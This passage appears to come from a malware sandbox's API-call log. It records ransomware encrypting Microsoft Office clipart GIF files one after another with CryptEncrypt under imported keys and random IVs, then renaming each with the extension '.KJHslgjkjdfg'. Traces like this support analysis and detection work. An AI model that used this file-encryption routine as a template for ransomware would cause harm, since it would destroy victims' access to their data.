(HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.444] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.444] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0191.444] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x7, lpOverlapped=0x0) returned 1 [0191.447] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.447] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.447] GetProcessHeap () returned 0x2ef0000 [0191.447] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.447] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0191.447] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.447] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0191.447] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0191.447] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0191.447] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0191.448] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0191.448] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0191.448] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.448] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.448] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.448] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3a19, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3a19, lpOverlapped=0x0) returned 1 [0191.449] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3a20, dwBufLen=0x3a20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3a20) returned 1 [0191.449] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.449] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3a20, lpOverlapped=0x0) returned 1 [0191.449] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.449] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.450] SetEndOfFile (hFile=0x130) returned 1 [0191.452] GetProcessHeap () returned 0x2ef0000 [0191.452] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.452] GetProcessHeap () returned 0x2ef0000 [0191.452] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.452] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.kjhslgjkjdfg")) returned 1 [0191.455] CloseHandle (hObject=0x130) returned 1 [0191.455] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64147500, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64147500, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1a1c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00037_.GIF", cAlternateFileName="")) returned 1 [0191.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.455] GetProcessHeap () returned 0x2ef0000 [0191.455] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.455] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.456] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0191.456] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0191.459] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.459] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.459] GetProcessHeap () returned 0x2ef0000 [0191.459] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.459] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0191.459] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.459] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0191.459] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0191.459] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0191.459] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0191.459] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0191.459] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0191.459] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.459] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.459] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.460] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1a1c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1a1c, lpOverlapped=0x0) returned 1 [0191.460] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a20, dwBufLen=0x1a20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a20) returned 1 [0191.461] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.461] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1a20, lpOverlapped=0x0) returned 1 [0191.461] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.461] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.461] SetEndOfFile (hFile=0x130) returned 1 [0191.464] GetProcessHeap () returned 0x2ef0000 [0191.464] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.464] GetProcessHeap () returned 0x2ef0000 [0191.464] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.464] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.kjhslgjkjdfg")) returned 1 [0191.465] CloseHandle (hObject=0x130) returned 1 [0191.467] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47589c00, ftCreationTime.dwHighDateTime=0x1bf325d, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47589c00, ftLastWriteTime.dwHighDateTime=0x1bf325d, nFileSizeHigh=0x0, nFileSizeLow=0xcb3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00038_.GIF", cAlternateFileName="")) returned 1 [0191.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.468] GetProcessHeap () returned 0x2ef0000 [0191.468] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.468] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.468] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0191.468] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xd, lpOverlapped=0x0) returned 1 [0191.471] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.471] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.471] GetProcessHeap () returned 0x2ef0000 [0191.471] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.471] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0191.471] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.471] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0191.471] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0191.472] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0191.472] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0191.472] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0191.472] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0191.472] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.472] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.472] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.472] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xcb3, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xcb3, lpOverlapped=0x0) returned 1 [0191.472] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xcc0, dwBufLen=0xcc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xcc0) returned 1 [0191.472] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.472] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xcc0, lpOverlapped=0x0) returned 1 [0191.472] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.472] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.472] SetEndOfFile (hFile=0x130) returned 1 [0191.475] GetProcessHeap () returned 0x2ef0000 [0191.475] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.475] GetProcessHeap () returned 0x2ef0000 [0191.475] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.475] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.kjhslgjkjdfg")) returned 1 [0191.477] CloseHandle (hObject=0x130) returned 1 [0191.478] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f4fc100, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f4fc100, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1fa1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00040_.GIF", cAlternateFileName="")) returned 1 [0191.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.478] GetProcessHeap () returned 0x2ef0000 [0191.478] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.478] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.478] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0191.478] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xf, lpOverlapped=0x0) returned 1 [0191.480] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.480] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.480] GetProcessHeap () returned 0x2ef0000 [0191.480] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.481] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0191.481] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.481] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0191.481] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0191.481] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0191.481] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0191.481] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0191.481] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0191.481] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.481] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.481] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.481] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1fa1, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1fa1, lpOverlapped=0x0) returned 1 [0191.483] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1fb0, dwBufLen=0x1fb0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1fb0) returned 1 [0191.483] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.483] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1fb0, lpOverlapped=0x0) returned 1 [0191.483] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.483] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2084, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.483] SetEndOfFile (hFile=0x130) returned 1 [0191.486] GetProcessHeap () returned 0x2ef0000 [0191.486] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.486] GetProcessHeap () returned 0x2ef0000 [0191.486] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.486] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.kjhslgjkjdfg")) returned 1 [0191.489] CloseHandle (hObject=0x130) returned 1 [0191.489] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262e5400, ftCreationTime.dwHighDateTime=0x1bd4c10, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x262e5400, ftLastWriteTime.dwHighDateTime=0x1bd4c10, nFileSizeHigh=0x0, nFileSizeLow=0x1e06, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00052_.GIF", cAlternateFileName="")) returned 1 [0191.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.489] GetProcessHeap () returned 0x2ef0000 [0191.489] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.489] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.489] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0191.489] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0191.492] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.492] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.492] GetProcessHeap () 